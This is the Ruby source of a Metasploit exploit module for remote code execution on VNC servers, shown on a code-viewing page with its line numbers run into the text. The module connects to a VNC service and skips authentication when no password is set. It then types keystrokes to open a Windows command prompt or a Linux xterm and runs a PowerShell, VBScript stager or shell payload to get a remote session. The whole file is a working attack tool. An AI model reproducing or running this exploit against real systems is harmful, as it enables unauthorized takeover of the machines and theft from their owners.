Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation'56class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking8WINDOWS_KEY = "\xff\xeb"9ENTER_KEY = "\xff\x0d"1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::CmdStager13include Msf::Exploit::Powershell1415def initialize(info = {})16super(update_info(info,17'Name' => 'VNC Keyboard Remote Code Execution',18'Description' => %q{19This module exploits VNC servers by sending virtual keyboard keys and executing20a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager21payload is typed and executed. On Unix/Linux systems a xterm terminal is opened22and a payload is typed and executed.23},24'Author' => [ 'xistence <xistence[at]0x90.nl>' ],25'Privileged' => false,26'License' => MSF_LICENSE,27'Platform' => %w{ win unix },28'Targets' =>29[30[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],31[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],32[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]33],34'References' =>35[36[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']37],38'DisclosureDate' => '2015-07-10',39'DefaultTarget' => 0))4041register_options(42[43Opt::RPORT(5900),44OptString.new('PASSWORD', [ false, 'The VNC password']),45OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),46OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),47OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])48])49end5051def post_auth?52true53end5455def press_key(key)56keyboard_key = "\x04\x01" # Press key57keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data58keyboard_key << key # The keyboard key59# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream60sock.put(keyboard_key)61end626364def release_key(key)65keyboard_key = "\x04\x00" # Release key66keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data67keyboard_key << key # The keyboard key68# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream69sock.put(keyboard_key)70end717273def exec_command(command)74# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer75delay_duration = datastore['TIME_KBD_DELAY']76delay_treshold = datastore['TIME_KBD_THRESHOLD']77delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 078delay_duration = delay_duration.to_f / 100079# Break down command into a sequence of keypresses80values = command.chars.to_a81values.each_with_index do |value, index|82press_key("\x00#{value}")83release_key("\x00#{value}")84sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 085end86press_key(ENTER_KEY)87end888990def start_cmd_prompt91print_status("#{rhost}:#{rport} - Opening Run command")92# Pressing and holding windows key for 1 second93press_key(WINDOWS_KEY)94Rex.select(nil, nil, nil, 1)95# Press the "r" key96press_key("\x00r")97# Now we can release both keys again98release_key("\x00r")99release_key(WINDOWS_KEY)100# Wait a second to open run command window101select(nil, nil, nil, 1)102exec_command('cmd.exe')103# Wait a second for cmd.exe prompt to open104Rex.select(nil, nil, nil, 1)105end106107108def exploit109110begin111alt_key = "\xff\xe9"112f2_key = "\xff\xbf"113password = datastore['PASSWORD']114115connect116vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)117118unless vnc.handshake119fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")120end121122if password.nil?123print_status("#{rhost}:#{rport} - Bypass authentication")124# The following byte is sent in case the VNC server end doesn't require authentication (empty password)125sock.put("\x10")126else127print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")128if vnc.authenticate(password)129print_status("#{rhost}:#{rport} - Authenticated")130else131fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")132end133end134135# Send shared desktop136unless vnc.send_client_init137fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")138end139140if target.name =~ /VBScript CMDStager/141start_cmd_prompt142print_status("#{rhost}:#{rport} - Typing and executing payload")143execute_cmdstager({:flavor => :vbs, :linemax => 8100})144# Exit the CMD prompt145exec_command('exit')146elsif target.name =~ /Powershell/147start_cmd_prompt148print_status("#{rhost}:#{rport} - Typing and executing payload")149command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})150# Execute powershell payload and make sure we exit our CMD prompt151exec_command("#{command} && exit")152elsif target.name =~ /Linux/153print_status("#{rhost}:#{rport} - Opening 'Run Application'")154# Press the ALT key and hold it for a second155press_key(alt_key)156Rex.select(nil, nil, nil, 1)157# Press F2 to start up "Run application"158press_key(f2_key)159# Release ALT + F2160release_key(alt_key)161release_key(f2_key)162# Wait a second for "Run application" to start163Rex.select(nil, nil, nil, 1)164# Start a xterm window165print_status("#{rhost}:#{rport} - Opening xterm")166exec_command('xterm')167# Wait a second for "xterm" to start168Rex.select(nil, nil, nil, 1)169# Execute our payload and exit (close) the xterm window170print_status("#{rhost}:#{rport} - Typing and executing payload")171exec_command("nohup #{payload.encoded} &")172exec_command('exit')173end174175print_status("#{rhost}:#{rport} - Waiting for session...")176(datastore['TIME_WAIT']).times do177Rex.sleep(1)178179# Success! session is here!180break if session_created?181end182183rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e184fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")185ensure186disconnect187end188end189190def execute_command(cmd, opts = {})191exec_command(cmd)192end193end194195196197